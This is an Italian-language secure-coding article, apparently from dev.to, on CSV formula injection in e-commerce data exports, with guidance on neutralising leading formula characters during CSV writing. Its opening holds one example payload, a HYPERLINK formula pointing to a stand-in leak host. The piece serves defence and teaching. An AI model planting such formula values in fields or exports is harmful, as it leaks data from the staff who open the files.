Iniezione CSV: Il pulsante di esportazione che esegue codice

Un cliente inserisce il proprio nome. Digita =HYPERLINK("http://evil.example/leak", "click"). Il tuo sistema lo accetta. Sembra semplice testo.

Settimane dopo, il tuo team finanziario esporta un elenco clienti in CSV. Aprono il file in Excel. Quella cella non è più testo. È una formula.

Questa è l'iniezione CSV. Viene chiamata anche iniezione di formule. È un bug comune nei pannelli e-commerce. La maggior parte dei team non effettua test per questo problema.

Le applicazioni di foglio di calcolo non trattano ogni cella come testo. Se una cella inizia con =, +, -, o @, Excel o Google Sheets la leggono come una formula.

Una formula può fare molto più che semplici calcoli. Può costruire un URL. Può connettersi a una rete. In alcuni casi, può lanciare comandi su un computer.

I dati rimangono testo nel tuo database. Diventano eseguibili nel momento in cui un essere umano apre il file. Di solito, la vittima è un membro dello staff con alti livelli di accesso.

Sei a rischio ovunque esporti dati degli utenti:

  • Esportazioni di nomi e indirizzi dei clienti
  • Griglie degli ordini esportate in CSV
  • Feed di prodotti dai fornitori
  • Dump dei moduli di contatto

Un attaccante non ha bisogno di accesso amministrativo. Imposta il proprio nome come una formula e aspetta.

Non cercare di risolvere il problema durante la validazione dell'input. Il valore è testo legittimo finché un foglio di calcolo non lo legge. Invece, sanifica i dati quando scrivi il file CSV.

Se una cella inizia con =, +, -, @, un tab o un ritorno a capo, aggiungi un apice singolo all'inizio.

Logica di esempio: Se il valore inizia con un carattere di trigger, restituisci "'" + value.

L'apice singolo dice al foglio di calcolo di trattare la cella come testo. Il foglio di calcolo nasconde l'apice all'utente. Sottoponi ogni campo a questo controllo prima che venga inserito nel file.

Non eseguire l'escape dei dati nel tuo database. Il valore va bene nel tuo database e va bene nel tuo HTML. È pericoloso solo in un CSV. Proteggi il confine del CSV per mantenere i tuoi dati puliti altrove.

Smetti di fidarti delle tue esportazioni interne. Gli attaccanti prendono di mira il tuo staff attraverso questi file.

L'iniezione CSV non attiva allarmi spaventosi degli scanner. Si nasconde nel pulsante di esportazione che hai costruito anni fa. Controlla subito il tuo codice di esportazione CSV. Se non proteggi il primo carattere di ogni cella, sei a rischio.

Fonte: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6